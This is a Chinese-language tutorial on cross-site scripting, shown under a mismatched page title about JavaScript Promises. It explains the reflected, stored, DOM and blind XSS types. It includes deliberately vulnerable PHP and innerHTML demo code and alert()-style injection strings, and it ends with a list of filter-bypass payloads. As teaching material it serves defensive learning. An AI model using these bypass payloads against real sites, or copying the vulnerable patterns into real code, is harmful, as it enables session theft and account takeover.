1. 程式人生 > 其它 >關於Promise以及其配合async、await使用(測試程式碼)

關於Promise以及其配合async、await使用(測試程式碼)

XSS注入

介紹:

  XSS全稱為Cross Site Scripting,為了和CSS分開簡寫為XSS,中文名為跨站指令碼。該漏洞發生在使用者端,是指在渲染過程中發生了不在預期過程中的JavaScript程式碼執行。XSS通常被用於獲取Cookie、以受攻擊者的身份進行操作等行為。

反射型XSS:

  反射型一般通過點選連結來觸發

  舉個栗子:程式碼為<?php echo "<p>hello, $_GET['a']</p>";?>

  注入方式為:/?a=</p><script>alert("xss")</script><p>

  通過前面的</p>來閉合程式碼中的<p>,在html中插入JavaScript程式碼<script>alert("xss")</script>來達到彈出xss的視窗,後面的<p>來閉合後面的</p>

 

XSS分類:

儲存型XSS:

  多儲存在評論區,留言處。儲存型XSS相對反射性XSS危害更大,攻擊者可以把攻擊載荷儲存在資料庫,造成持續攻擊。

 

DOM XSS:

  DOM型XSS不同之處在於DOM型XSS一般和伺服器的解析響應沒有直接關係,而是在JavaScript指令碼動態執行的過程中產生的。

  程式碼:

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

注入方式:x' onerror='javascript:alert(/xss/)

 

Blind XSS:

  Blind XSS是儲存型XSS的一種,它儲存在某些儲存中,當一個“受害者”訪問這個頁面時執行,並且在文件物件模型(DOM)中呈現payload。 它被稱為Blind的原因是因為它通常發生在通常不暴露給使用者的功能上。

 

XSS注入的危害:

  1. 使用者的Cookie被獲取,其中可能存在Session ID等敏感資訊。若伺服器端沒有做相應防護,攻擊者可用對應Cookie登陸伺服器。
  2. 攻擊者能夠在一定限度內記錄使用者的鍵盤輸入。
  3. 攻擊者通過CSRF等方式以使用者身份執行危險操作。
  4. XSS蠕蟲。
  5. 獲取使用者瀏覽器資訊。
  6. 利用XSS漏洞掃描使用者內網。

 

XSS注入的一些繞過姿勢:

  1、大小寫繞過 如:<sCrIpT>alert(1)</sCrIpT>

  2、利用其他標籤進行注入 如:<audio src=x onerror=alert(47)>

  <img src=document.domain onerror=alert(document.domain)>

  <a href=javascript:alert(document.domain)>M</a>

  3、編碼繞過 如:%3Cscript%3Ealert(%221%22)%3C/script%3E

  4、拼接 如:<script>top["al"+"ert"](1)</script>

  5、偽協議 如:<a href=javascript:/0/,alert(%22M%22)>M</a>